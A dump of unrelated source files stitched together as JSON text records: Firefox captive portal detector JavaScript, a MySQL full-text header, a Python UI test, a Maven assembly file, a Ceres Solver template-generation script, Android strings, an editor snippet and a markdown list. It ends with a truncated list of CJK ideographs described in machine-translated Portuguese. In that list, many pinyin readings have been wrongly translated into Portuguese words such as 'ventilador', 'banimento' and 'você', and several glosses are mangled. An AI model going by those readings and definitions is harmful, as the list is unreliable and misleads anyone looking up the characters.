requested network interfaces\n\n debug('CaptiveProtalDetector initiated, waiting for network connection established');\n}\n\nCaptivePortalDetector.prototype = {\n classID: kCAPTIVEPORTALDETECTOR_CID,\n classInfo: XPCOMUtils.generateCI({classID: kCAPTIVEPORTALDETECTOR_CID,\n contractID: kCAPTIVEPORTALDETECTOR_CONTRACTID,\n classDescription: 'Captive Portal Detector',\n interfaces: [Ci.nsICaptivePortalDetector]}),\n QueryInterface: XPCOMUtils.generateQI([Ci.nsICaptivePortalDetector]),\n\n // nsICaptivePortalDetector\n checkCaptivePortal: function checkCaptivePortal(aInterfaceName, aCallback) {\n if (!this._canonicalSiteURL) {\n throw Components.Exception('No canonical URL set up.');\n }\n\n // Prevent multiple requests on a single network interface\n if (this._interfaceNames[aInterfaceName]) {\n throw Components.Exception('Do not allow multiple request on one interface: ' + aInterfaceName);\n }\n\n let request = {interfaceName: aInterfaceName};\n if (aCallback) {\n let callback = aCallback.QueryInterface(Ci.nsICaptivePortalCallback);\n request['callback'] = callback;\n request['retryCount'] = 0;\n }\n this._addRequest(request);\n },\n\n abort: function abort(aInterfaceName) {\n debug('abort for ' + aInterfaceName);\n this._removeRequest(aInterfaceName);\n },\n\n finishPreparation: function finishPreparation(aInterfaceName) {\n debug('finish preparation phase for interface \"' + aInterfaceName + '\"');\n if (!this._runningRequest\n || this._runningRequest.interfaceName !== aInterfaceName) {\n debug('invalid finishPreparation for ' + aInterfaceName);\n throw Components.Exception('only first request is allowed to invoke |finishPreparation|');\n }\n\n this._startDetection();\n },\n\n cancelLogin: function cancelLogin(eventId) {\n debug('login canceled by user for request \"' + eventId + '\"');\n // Captive portal login procedure is canceled by user\n if (this._runningRequest && this._runningRequest.hasOwnProperty('eventId')) {\n let id = this._runningRequest.eventId;\n if (eventId === id) {\n this.executeCallback(false);\n }\n }\n },\n\n _applyDetection: function _applyDetection() {\n debug('enter applyDetection('+ this._runningRequest.interfaceName + ')');\n\n // Execute network interface preparation\n if (this._runningRequest.hasOwnProperty('callback')) {\n this._runningRequest.callback.prepare();\n } else {\n this._startDetection();\n }\n },\n\n _startDetection: function _startDetection() {\n debug('startDetection {site=' + this._canonicalSiteURL + ',content='\n + this._canonicalSiteExpectedContent + ',time=' + this._maxWaitingTime + '}');\n let self = this;\n\n let urlFetcher = new URLFetcher(this._canonicalSiteURL, this._maxWaitingTime);\n\n let mayRetry = this._mayRetry.bind(this);\n\n urlFetcher.ontimeout = mayRetry;\n urlFetcher.onerror = mayRetry;\n urlFetcher.onsuccess = function (content) {\n if (self.validateContent(content)) {\n self.executeCallback(true);\n } else {\n // Content of the canonical website has been overwrite\n self._startLogin();\n }\n };\n urlFetcher.onredirectorerror = function (status) {\n if (status >= 300 && status <= 399) {\n // The canonical website has been redirected to an unknown location\n self._startLogin();\n } else {\n mayRetry();\n }\n };\n\n this._runningRequest['urlFetcher'] = urlFetcher;\n },\n\n _startLogin: function _startLogin() {\n let id = this._allocateRequestId();\n let details = {\n type: kOpenCaptivePortalLoginEvent,\n id: id,\n url: this._canonicalSiteURL,\n };\n this._loginObserver.attach();\n this._runningRequest['eventId'] = id;\n this._sendEvent(kOpenCaptivePortalLoginEvent, details);\n gSysMsgr.broadcastMessage(kCaptivePortalSystemMessage, {});\n },\n\n _mayRetry: function _mayRetry() {\n if (this._runningRequest.retryCount++ < this._maxRetryCount) {\n debug('retry-Detection: ' + this._runningRequest.retryCount + '/' + this._maxRetryCount);\n this._startDetection();\n } else {\n this.executeCallback(false);\n }\n },\n\n executeCallback: function executeCallback(success) {\n if (this._runningRequest) {\n debug('callback executed');\n if (this._runningRequest.hasOwnProperty('callback')) {\n this._runningRequest.callback.complete(success);\n }\n\n // Only when the request has a event id and |success| is true\n // do we need to notify the login-success event.\n if (this._runningRequest.hasOwnProperty('eventId') && success) {\n let details = {\n type: kCaptivePortalLoginSuccessEvent,\n id: this._runningRequest['eventId'],\n };\n this._sendEvent(kCaptivePortalLoginSuccessEvent, details);\n }\n\n // Continue the following request\n this._runningRequest['complete'] = true;\n this._removeRequest(this._runningRequest.interfaceName);\n }\n },\n\n _sendEvent: function _sendEvent(topic, details) {\n debug('sendEvent \"' + JSON.stringify(details) + '\"');\n Services.obs.notifyObservers(this,\n topic,\n JSON.stringify(details));\n },\n\n validateContent: function validateContent(content) {\n debug('received content: ' + content);\n let valid = content === this._canonicalSiteExpectedContent;\n // We need a way to indicate that a check has been performed, and if we are\n // still in a captive portal.\n this._sendEvent(kCaptivePortalCheckComplete, !valid);\n return valid;\n },\n\n _allocateRequestId: function _allocateRequestId() {\n let newId = this._nextRequestId++;\n return newId.toString();\n },\n\n _runNextRequest: function _runNextRequest() {\n let nextRequest = this._requestQueue.shift();\n if (nextRequest) {\n this._runningRequest = nextRequest;\n this._applyDetection();\n }\n },\n\n _addRequest: function _addRequest(request) {\n this._interfaceNames[request.interfaceName] = true;\n this._requestQueue.push(request);\n if (!this._runningRequest) {\n this._runNextRequest();\n }\n },\n\n _removeRequest: function _removeRequest(aInterfaceName) {\n if (!this._interfaceNames[aInterfaceName]) {\n return;\n }\n\n delete this._interfaceNames[aInterfaceName];\n\n if (this._runningRequest\n && this._runningRequest.interfaceName === aInterfaceName) {\n this._loginObserver.detach();\n\n if (!this._runningRequest.complete) {\n // Abort the user login procedure\n if (this._runningRequest.hasOwnProperty('eventId')) {\n let details = {\n type: kAbortCaptivePortalLoginEvent,\n id: this._runningRequest.eventId\n };\n this._sendEvent(kAbortCaptivePortalLoginEvent, details);\n }\n\n // Abort the ongoing HTTP request\n if (this._runningRequest.hasOwnProperty('urlFetcher')) {\n this._runningRequest.urlFetcher.abort();\n }\n }\n\n debug('remove running request');\n this._runningRequest = null;\n\n // Continue next pending reqeust if the ongoing one has been aborted\n this._runNextRequest();\n return;\n }\n\n // Check if a pending request has been aborted\n for (let i = 0; i < this._requestQueue.length; i++) {\n if (this._requestQueue[i].interfaceName == aInterfaceName) {\n this._requestQueue.splice(i, 1);\n\n debug('remove pending request #' + i + ', remaining ' + this._requestQueue.length);\n break;\n }\n }\n },\n};\n\nvar debug;\nif (DEBUG) {\n debug = function (s) {\n dump('-*- CaptivePortalDetector component: ' + s + '\\n');\n };\n} else {\n debug = function (s) {};\n}\n\nthis.NSGetFactory = XPCOMUtils.generateNSGetFactory([CaptivePortalDetector]);\n"} {"text": "/* Copyright (c) 2000-2005, 2007 MySQL AB, 2009 Sun Microsystems, Inc.\n Use is subject to license terms.\n\n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; version 2 of the License.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */\n\n/* Written by Sergei A. Golubchik, who has a shared copyright to this code */\n\n/* some definitions for full-text indices */\n\n/* #include \"myisam.h\" */\n\n#ifndef _ft_global_h\n#define _ft_global_h\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <my_compare.h>\n\n#define HA_FT_MAXBYTELEN 254\n#define HA_FT_MAXCHARLEN (HA_FT_MAXBYTELEN/3)\n\n#define DEFAULT_FTB_SYNTAX \"+ -><()~*:\\\"\\\"&|\"\n\ntypedef struct st_ft_info FT_INFO;\nstruct _ft_vft\n{\n int (*read_next)(FT_INFO *, char *);\n float (*find_relevance)(FT_INFO *, uchar *, uint);\n void (*close_search)(FT_INFO *);\n float (*get_relevance)(FT_INFO *);\n void (*reinit_search)(FT_INFO *);\n};\n\n#ifndef FT_CORE\nstruct st_ft_info\n{\n struct _ft_vft *please; /* INTERCAL style :-) */\n};\n#endif\n\nextern const char *ft_stopword_file;\nextern const char *ft_precompiled_stopwords[];\n\nextern ulong ft_min_word_len;\nextern ulong ft_max_word_len;\nextern ulong ft_query_expansion_limit;\nextern const char *ft_boolean_syntax;\nextern struct st_mysql_ftparser ft_default_parser;\n\nint ft_init_stopwords(void);\nvoid ft_free_stopwords(void);\n\n#define FT_NL 0\n#define FT_BOOL 1\n#define FT_SORTED 2\n#define FT_EXPAND 4 /* query expansion */\n\nFT_INFO *ft_init_search(uint,void *, uint, uchar *, size_t,\n CHARSET_INFO *, uchar *);\nmy_bool ft_boolean_check_syntax_string(const uchar *);\n\n/* Internal symbols for fulltext between maria and MyISAM */\n\n#define HA_FT_WTYPE HA_KEYTYPE_FLOAT\n#define HA_FT_WLEN 4\n#define FT_SEGS 2\n\n#define ft_sintXkorr(A) mi_sint4korr(A)\n#define ft_intXstore(T,A) mi_int4store(T,A)\n\nextern const HA_KEYSEG ft_keysegs[FT_SEGS];\n\ntypedef union {int32 i; float f;} FT_WEIGTH;\n\n#ifdef __cplusplus\n}\n#endif\n#endif\n"} {"text": "from sofi.ui import Address\n\ndef test_basic():\n assert(str(Address()) == \"<address></address>\")\n\ndef test_text():\n assert(str(Address(\"text\")) == \"<address>text</address>\")\n\ndef test_custom_class_ident_style_and_attrs():\n assert(str(Address(\"text\", cl='abclass', ident='123', style=\"font-size:0.9em;\", attrs={\"data-test\": 'abc'}))\n == \"<address id=\\\"123\\\" class=\\\"abclass\\\" style=\\\"font-size:0.9em;\\\" data-test=\\\"abc\\\">text</address>\")\n"} {"text": "<assembly>\n <id>full</id>\n <formats>\n <format>jar</format>\n </formats>\n <includeBaseDirectory>false</includeBaseDirectory>\n <dependencySets>\n <dependencySet>\n <includes>\n <include>*:*:jar</include>\n </includes>\n <outputDirectory>/</outputDirectory>\n <useProjectArtifact>true</useProjectArtifact>\n <unpack>true</unpack>\n <scope>runtime</scope>\n </dependencySet>\n <dependencySet>\n <outputDirectory>lib/native</outputDirectory>\n <outputFileNameMapping>${artifact.artifactId}${dashClassifier?}.${artifact.extension}</outputFileNameMapping>\n <unpack>false</unpack>\n <useProjectArtifact>false</useProjectArtifact>\n <useStrictFiltering>false</useStrictFiltering>\n <includes>\n <include>*:*:dll:*</include>\n <include>*:*:so:*</include>\n <include>*:*:jnilib:*</include>\n </includes>\n </dependencySet>\n </dependencySets>\n</assembly>\n"} {"text": "# Ceres Solver - A fast non-linear least squares minimizer\n# Copyright 2017 Google Inc. All rights reserved.\n# http://ceres-solver.org/\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# * Neither the name of Google Inc. nor the names of its contributors may be\n# used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# Author: sameeragarwal@google.com (Sameer Agarwal)\n#\n# Script for explicitly generating template specialization of the\n# SchurEliminator class. It is a rather large class\n# and the number of explicit instantiations is also large. Explicitly\n# generating these instantiations in separate .cc files breaks the\n# compilation into separate compilation unit rather than one large cc\n# file which takes 2+GB of RAM to compile.\n#\n# This script creates two sets of files.\n#\n# 1. schur_eliminator_x_x_x.cc\n# where, the x indicates the template parameters and\n#\n# 2. schur_eliminator.cc\n#\n# that contains a factory function for instantiating these classes\n# based on runtime parameters.\n#\n# The list of tuples, specializations indicates the set of\n# specializations that is generated.\n\n# Set of template specializations to generate\n\nHEADER = \"\"\"// Ceres Solver - A fast non-linear least squares minimizer\n// Copyright 2017 Google Inc. All rights reserved.\n// http://ceres-solver.org/\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//\n// * Redistributions of source code must retain the above copyright notice,\n// this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above copyright notice,\n// this list of conditions and the following disclaimer in the documentation\n// and/or other materials provided with the distribution.\n// * Neither the name of Google Inc. nor the names of its contributors may be\n// used to endorse or promote products derived from this software without\n// specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n// POSSIBILITY OF SUCH DAMAGE.\n//\n// Author: sameeragarwal@google.com (Sameer Agarwal)\n//\n// Template specialization of SchurEliminator.\n//\n// ========================================\n// THIS FILE IS AUTOGENERATED. DO NOT EDIT.\n// THIS FILE IS AUTOGENERATED. DO NOT EDIT.\n// THIS FILE IS AUTOGENERATED. DO NOT EDIT.\n// THIS FILE IS AUTOGENERATED. DO NOT EDIT.\n//=========================================\n//\n// This file is generated using generate_template_specializations.py.\n\"\"\"\n\nDYNAMIC_FILE = \"\"\"\n\n#include \"ceres/schur_eliminator_impl.h\"\n#include \"ceres/internal/eigen.h\"\n\nnamespace ceres {\nnamespace internal {\n\ntemplate class SchurEliminator<%s, %s, %s>;\n\n} // namespace internal\n} // namespace ceres\n\"\"\"\n\nSPECIALIZATION_FILE = \"\"\"\n// This include must come before any #ifndef check on Ceres compile options.\n#include \"ceres/internal/port.h\"\n\n#ifndef CERES_RESTRICT_SCHUR_SPECIALIZATION\n\n#include \"ceres/schur_eliminator_impl.h\"\n#include \"ceres/internal/eigen.h\"\n\nnamespace ceres {\nnamespace internal {\n\ntemplate class SchurEliminator<%s, %s, %s>;\n\n} // namespace internal\n} // namespace ceres\n\n#endif // CERES_RESTRICT_SCHUR_SPECIALIZATION\n\"\"\"\n\nFACTORY_FILE_HEADER = \"\"\"\n#include \"ceres/linear_solver.h\"\n#include \"ceres/schur_eliminator.h\"\n#include \"ceres/internal/eigen.h\"\n\nnamespace ceres {\nnamespace internal {\n\nSchurEliminatorBase*\nSchurEliminatorBase::Create(const LinearSolver::Options& options) {\n#ifndef CERES_RESTRICT_SCHUR_SPECIALIZATION\n\"\"\"\n\nFACTORY = \"\"\" return new SchurEliminator<%s, %s, %s>(options);\"\"\"\n\nFACTORY_FOOTER = \"\"\"\n#endif\n VLOG(1) << \"Template specializations not found for <\"\n << options.row_block_size << \",\"\n << options.e_block_size << \",\"\n << options.f_block_size << \">\";\n return new SchurEliminator<Eigen::Dynamic, Eigen::Dynamic, Eigen::Dynamic>(options);\n}\n\n} // namespace internal\n} // namespace ceres\n\"\"\"\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- \n/* //device/apps/common/assets/res/any/strings.xml\n**\n** Copyright 2006, The Android Open Source Project\n**\n** Licensed under the Apache License, Version 2.0 (the \"License\");\n** you may not use this file except in compliance with the License.\n** You may obtain a copy of the License at\n**\n** http://www.apache.org/licenses/LICENSE-2.0\n**\n** Unless required by applicable law or agreed to in writing, software\n** distributed under the License is distributed on an \"AS IS\" BASIS,\n** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n** See the License for the specific language governing permissions and\n** limitations under the License.\n*/\n -->\n\n<resources xmlns:android=\"http://schemas.android.com/apk/res/android\"\n xmlns:xliff=\"urn:oasis:names:tc:xliff:document:1.2\">\n <string name=\"mmcc_imsi_unknown_in_hlr\" msgid=\"656054059094417927\">\"I-SIM ayinikezelwe MM#2\"</string>\n <string name=\"mmcc_illegal_ms\" msgid=\"1782569305985001089\">\"I-SIM ayivunyelwe MM#3\"</string>\n <string name=\"mmcc_illegal_me\" msgid=\"8246632898824321280\">\"Ifoni ayivunyelwe MM#6\"</string>\n</resources>\n"} {"text": "# -*- mode: snippet -*-\n# name: macro\n# key: macro\n# uuid: macro\n# --\n!macro ${1:Name} UN\n$0\n\n!macroend"} {"text": "* Level 1\n * Level 2\n * Level 3\n* Level 1\n * Level 1\n * \n * \n\n Test"} {"text": "4200: Ideograph bambu ware (usado para armazenar alimentos ou roupas) CJK : saan1 : sān\n4201: Ferramentas ideográficas usadas em um barco CJK : leon4 : lún\n4202: Ideograph uma espécie de bambu CJK : bing3 kiu5 ping4 : png\n4203: Ideograph uma espécie de bambu, hem; margem; borda de bambu CJK : ziu2 : zhǎo\n4204: Ideograma (o mesmo que 筨) um tipo de bambu maciço CJK : ham4 : hán\n4205: Ferramentas ideográficas (iguais a 籆) para desenrolar a seda CJK : wik6 : você\n4206: Ideograph uma cesta de bambu rasa e longa CJK : daai6 : dài\n4207: Ideógrafo (o mesmo que U + 7F69 罩) uma capa, uma sombra, uma cesta usada para pegar peixe CJK : zaau3 : zhào\n4208: Ideograph uma espécie de bambu, exuberante e florescente de bambu, (mesmo que 笆) uma barreira feita de bambu ou galho de salgueiro; cerca de bambu, um tapete CJK : fei4 : féi\n4209: Ideograph (mesmo que 箑) um fã, (o mesmo que 翣) penas que adornam um caixão, bambu ware CJK : saap3 : shà\n420A: Nome ideográfico de uma variedade de bambu; (Cant.) 䈊 仔, um colega inútil CJK : leng1 ling4 ling4 liu4 : líng\n420B: Nome ideógrafo de uma variedade de bambu, uma tampa feita de bambu CJK : dap6 : tà\n420C: Nome ideográfico de uma variedade de bambu, submersa; fertilizado pela água CJK : zeoi1 : qu\n420D: Nome ideógrafo de uma variedade de bambu CJK : mang4 : máng\n420E: Ideógrafo (o mesmo que 葉) uma folha; a página de um livro, uma folha de uma porta, um lobo dos pulmões ou fígado CJK : zip6 : vós\n420F: Nome ideógrafo de uma variedade de bambu, uma ferramenta tecida CJK : bok6 : báo\n4210: Ideograph uma armação arqueada feita de bambu de tábua de madeira, uma coberta, tapetes teceram de bambu e outro topo de folhas em veículos, (mesmo como.) Uma caixa de bambu; um peito de vime, cocar de uma mulher CJK : kui2 : gui\n4211: Ferramentas ideográficas para desenrolar a seda CJK : gwaa2 : guǎ\n4212: Ideograma frágil; bambu macio, (intercambiável 蹐) uma espécie de rede de pesca de primavera, um equipamento usado para puxar ou arrastar (planta de água, lama, etc.) fora da água CJK : nam5 : nǎn\n4213: Ideograph uma espécie de bambu com uma pele vermelha; é usado para tapetes finos e outros fins, um antigo instrumento musical que foi usado para dar o sinal para deixar de jogar CJK : got3 haap1 : gé\n4214: Ideógrafo (igual a 笳) apito feito de cana sem buracos para dedilhado CJK : gaa1\n4215: Ideograph a lingüeta do metal nos instrumentos de lingüeta, (chave intercambiável), ware de bambu, (mesmo que) um clasp; um alfinete de cabelo com pontas planas em forma de colher, (o mesmo que 椸) um cavalo de roupa; um rack para roupas CJK : si4 : shi\n4216: Nome ideógrafo de uma variedade de bambu CJK : fo1 fo3 tiu3 : kē\n4217: Nome de ideógrafo de uma variedade de bambu, tapetes de bambu, (permutável 葰) uma cobertura, uma sombra, uma cesta usada para pescar CJK : so2 : suǒ\n4218: Nome ideógrafo de uma variedade de bambu CJK : ci4 : ci\n4219: Ideograph bambu para murchar; secar e morrer CJK : zau6 : zhòu\n421A: Ideograph uma caça de bambu, pele (latido) de uma caça de bambu, (mesmo como.) Musgo; líquen CJK : toi4 : tái\n421B: Ideograph pequeno bambu cujas articulações são três pés de distância, usado para flechas CJK : faai3 : kuài\n421C: Ideograph um thread usado por carpinteiros para marcação, (permutável 沁) para vazar; para mergulhar em CJK : kaam4 kim4 saam3 zaam1 : qìn\n421D: Nome ideográfico de uma variedade de bambu, uma espécie de cesta joeira CJK : seoi1 seot1 : xū\n421E: Ideograph (mesmo que 竺) nome antigo da Índia, um nome de família chinês, (intercambiável 篤) honesto; CJK simples : caau4 duk1 : dǔ\n421F: Som quebrado Ideograph, para cortar grama CJK : zaak1 : c\n4220: Livros ideográficos e volumes, cartas e correspondências, para quebrar; quebrar; bambu quebrado CJK : wun6 : huǎn\n4221: Nome ideógrafo de uma variedade de bambu, (o mesmo que 檧) uma pequena cesta ou uma pequena gaiola CJK : gung1 : conga\n4222: Nome ideógrafo de uma variedade de bambu, uma tira fina e longa de forma de bambu fazendo cesta CJK : sai2 soi2 : sǎi\n4223: Nome ideógrafo de uma variedade de bambu CJK : zing3 : zhèng\n4224: Ideógrafo (igual a 鉗) pinças; pinças; pinças CJK : kim4 : qián\n4225: Ideografia (forma não clássica de 筋) tendões; tendões; músculos, nome de uma variedade de bambu CJK : gan1 : jin\n4226: Ideograph um chicote de bambu curvado, galhos finos de uma árvore CJK : zung1 : zōng\n4227: Ideograph (forma corrompida) pele de tiros de bambu, latido de bambu CJK : waai2 : nós\n4228:\n4229:\n422A: Ideograph um pequeno, alto e sem cesta de orelhas feita de bambu usado para armazenar grãos CJK : zik1 : XI\n422B: Ideógrafo (o mesmo que 笝) uma amarra; um cabo; uma corda de bambu usada para amarrar um barco CJK : nap6 : n / D\n422C: Ideograma pequeno; faixa fina (de bambu) net CJK : pou4 : pú\n422D: Nome ideógrafo de uma variedade de bambu, bambu com altas articulações CJK : saau1 saau2 : sōu\n422E: Ideograph um instrumento tecido; uma ferramenta de tricô, nome de uma variedade de bambu CJK : geoi3 : jù\n422F: Nome ideográfico de uma variedade de bambu, utensílios; implementa CJK : zaan1 zaan2 : zhēn\n4230: Ideograph uma escova para lavar utensílios de cozinha, um utensílio de bambu para segurar arroz usado nos tempos antigos, uma cesta para lavar arroz, um pequeno balde para pauzinhos, (o mesmo que 梢) a ponta de um galho ou coisas de forma semelhante, o fim do algo, o leme, (intercambiável C) CJK : sau2 : shāo\n4231: Ideograph uma cesta de bambu aberta usada para alimentar animais domésticos (vaca, porco, etc.) CJK : tou1 : tao\n4232: Ideograph uma cesta de bambu para pescar, nome de uma variedade de bambu, tiras finas e chatas de bambu usado para propósitos de tecelagem CJK : bun1 : banimento\n4233: Ideograma de uma folha de janela; algo feito de tiras de bambu para bloquear a luz solar CJK : daap6 : tà\n4234: Ideograma uma gaiola; uma cesta; um laço CJK : him3 hip3 : qiàn\n4235: Ideógrafo luxuriante; exuberante de bambu CJK : zung1 : wng\n4236: Ideograma uma flecha; um dardo, espargos samambaia CJK : zung4 : ron\n4237: Ideógrafo (igual à forma padrão 格) uma cerca de bambu CJK : lok3 lok6 : luò\n4238: Ideograph um peito grande, uma cesta grande para segurando arroz CJK : huk6 : hú\n4239: Ideógrafo (o mesmo que 籔) um utensílio de bambu para lavar o arroz, uma unidade de medida usada nos tempos antigos; igual a 16 peck chinês CJK : saau2 : sǒu\n423A: Ideograph bambu, um peito; uma caixa CJK : zung1 : zhōng\n423B: Tapetes de bambu pesado ideográfico usados ​​para pesca em águas profundas CJK : pou4 : pú\n423C: Ideograph (mesmo que 篾) nome de uma variedade de bambu, uma tira fina e longa de bambu para fazer cestos, etc .; ripas finas (de bambu), uma espécie de bambu pequeno com polpa CJK : mit6 : miè\n423D: Nome ideográfico de uma variedade de bambu; com articulações curtas e casca branca; os grandes usados ​​como pólo para punting um barco e raízes usadas como medicamento CJK : gan1 : jin\n423E: Ideógrafo (o mesmo que 稍) se move um pouco; agitar ligeiramente, (mesmo que 梢) a ponta de um ramo ou coisas de forma semelhante, o fim do leme ou leme, uma vassoura para arroz CJK : sau1 se3 sok3 : shāo\n423F: Cinto ideográfico da parte superior em lona nos veículos CJK : maak6 : mi\n4240: Peito de ideograma retangular ou caixa de tecido de tiras de bambu (ou vime) CJK : syu3 syun4 : shù\n4241: Nome ideógrafo de uma variedade de bambu, bambu CJK : ling4 : líng\n4242: Ideograph uma cesta para terra ou solo, regulamentos; lei, modelo CJK : leoi5 : lěi\n4243: Ideograph cortou o bambu aberto com as juntas usadas como um remo, uma placa fez equipamentos com ângulos; as crianças costumavam praticar a escrita e tomar notas em tempos antigos, esteiras, bambu CJK : zoeng2 : jiǎng\n4244: Nome ideógrafo de uma variedade de bambu CJK : ling4 : léng\n4245: Ideógrafo pequeno bambu cujas articulações são três pés de distância, usado para flechas, nome de uma variedade de bambu CJK : caap1 zi3 : zhì\n4246: Nome ideógrafo de uma variedade de bambu CJK : diu2 : diǎo\n4247:\n4248: Ideograph uma espécie de bambu com uma pele vermelha; é usado para tapetes finos e outros fins CJK : saan2 : sǎn\n4249: Ideógrafo (intercambiável 觚) um tablet de escrita; um pedaço quadrado de madeira, um canto; um ângulo; uma borda CJK : gu1 wu4 : gū\n424A: Ideograph bambu, toldo em frente a uma carroça, cobrindo o cavalo ou mula nos poços; top de lona em veículos CJK : fan4 fan6 : ventilador\n424B: Ideograph uma variedade de brotos de bambu que brotam no inverno CJK : mei6 : mimi\n424C: Esteiras de bambu bruto ideográfico, um vaso para a criação de bichos-da-seda CJK : seoi6 : sui\n424D: Ideografia (forma não clássica) para observar; assistir; para examinar CJK : gaan2 : jiǎn\n424E: Ideograph uma cobertura, uma sombra, uma cesta usada para pegar peixe CJK : tong4 : Espiga\n424F: Nome ideógrafo de uma variedade de bambu CJK : aam2 hai6 : xiè\n4250: Ideografar uma fina e longa tira de bambu para fazer cestos, etc .; finas (bambu) ripas, nome de uma variedade de bambu, (forma corrompida de U + 7C35 簬) usado para flechas CJK : fu1 : kū\n4251: Ideograph pele negra de bambu CJK : mou4 mou5 : wú\n4252: Ideograph (mesmo que 籓) um winnow, um recipiente para poeira, (mesmo que 藩) uma cerca de bambu; uma barreira, uma cesta de bambu com alças para transportar terra ou terra, nome de família CJK : fan4 : ventilador\n4253: Colchão ideográfico feito de tiras de bambu, cama CJK : kok3 lok3 lok6 : luò\n4254: Ideograph bambu desliza, bruto; tapetes de bambu grosseiro CJK : can1 saang6 : posso\n4255: Ideograph um chapéu de bambu, uma sombra de bambu ou cobrindo, nome de uma variedade de bambu CJK : cang4 : céng\n4256: Estrutura ideográfica (mesmo que 笭) de uma carruagem, uma tela de porta; um corrimão na frente e nos dois lados de uma carruagem, um suporte; quadro, Armação; cremalheira em uma cabine de um navio, uma gaiola de bambu; uma cesta de bambu com uma abertura estreita CJK : ling4 : líng\n4257: Ideografar um recipiente ou recipiente, como um copo, concha, colher, etc. CJK : zaap1 : yi\n4258: Ideógrafo para perfurar; para esfaquear com uma vara de madeira afiada ou um pedaço de deslizamento de bambu CJK : cung4 : cóng\n4259: Nome ideográfico de uma variedade de bambu; bambu grande CJK : wan4 : yún\n425A: Nome ideógrafo de uma variedade de bambu, um broto de bambu, um tubo de bambu CJK : kaau3 maang4 mong4 ngaa5 : mais\n425B: Ideograph cesta de bambu para lavar o arroz, implementos usados ​​para mover o bicho da seda CJK : zuk1 : você\n425C: Ideógrafo jovem e macio de bambu CJK : zi6 : zhì\n425D: Ideograph bambu ware CJK : zi2 : y\n425E: Ideograma de uma caixa; um baú feito de bambu; utensílios de bambu, nome de uma variedade de bambu CJK : cang4 daam2 daau2 : dn\n425F: Ideograph uma cesta de bambu usada para pescar CJK : wok6 : huò\n4260: Nome ideográfico de uma variedade de bambu; folhas para fazer cobertura e as hastes fazem flechas CJK : mei4 : com\n4261: Nome ideográfico de uma variedade de bambu, um cabo de reboque usado para rebocar um barco contra a corrente em fluxo rápido do banco CJK : tam4 : bronzeado\n4262: Ideograph uma peneira; uma tela; uma peneira; um filtro CJK : saap1 : sè\n4263: Slips de ideograma de bambu fornecidos para escrever nos tempos antigos CJK : se3 : xiè\n4264: Ideograph (uma forma simplificada de 籔) um utensílio de bambu para lavar o arroz, uma unidade de medida usada nos tempos antigos; igual a 16 peck chinês CJK : saau2 : sǒu\n4265: Ideograma (o mesmo que 檧) um pequeno cesto para pauzinhos CJK : sung1 zung1 : sang\n4266: Nome ideográfico de uma variedade de bambu, uma ferramenta agrícola usada para coletar plantas de arroz CJK : cin1 : qiān\n4267: Som ideógrafo de bambu, nome de uma variedade de bambu CJK : lau4 : liú\n4268: Ideograph junções de bambu, nome de uma variedade de bambu, bambu pequeno CJK : ngaai6 : yì\n4269: Ideograph uma mercadoria de bambu; um berço CJK : aau1 aau1\n426A: Ideograph para moer; girando um moinho para pegar o farelo, farelo ou palha, um moinho CJK : leoi6 : lèi\n426B: Nome ideográfico de uma variedade de bambu; usado como um instrumento musical CJK : lai4 : lí\n426C: Esteiras de bambu grossas Ideograph CJK : bit1 faai3 : fèi\n426D: Nome ideógrafo de uma variedade de bambu, 